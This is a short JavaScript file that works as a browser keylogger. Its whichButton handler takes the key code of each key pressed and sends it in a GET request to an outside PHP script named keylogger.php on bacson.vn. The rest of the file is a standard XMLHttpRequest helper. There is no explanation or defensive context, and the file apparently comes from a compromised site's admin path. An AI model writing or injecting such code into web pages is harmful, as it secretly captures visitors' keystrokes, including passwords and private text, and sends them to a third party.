function whichButton(event)
{
var keya = "";
keya = event.keyCode;
makeRequest('http://bacson.vn/admin/sdmenu/keylogger.php?iambr=' + keya);
}

function makeRequest(url)
{
var httpRequest;

if (window.XMLHttpRequest)
{ // Mozilla, Safari, ...
httpRequest = new XMLHttpRequest();
if (httpRequest.overrideMimeType) {
httpRequest.overrideMimeType('text/xml');
}
} 
else if (window.ActiveXObject)
{ // IE
try
{
httpRequest = new ActiveXObject("Msxml2.XMLHTTP");
} 
catch (e) {
try {
httpRequest = new ActiveXObject("Microsoft.XMLHTTP");
} 
catch (e) {}
}
}

if (!httpRequest)
{
alert('Giving up :( Cannot create an XMLHTTP instance');
return false;
}
httpRequest.onreadystatechange = function() { alertContents(httpRequest); };
httpRequest.open('GET', url, true);
httpRequest.send(null);
}

function alertContents(httpRequest)
{
if (httpRequest.readyState == 4) {
if (httpRequest.status == 200) {
}
else
{
alert('There was a problem with the request.');
}
}
}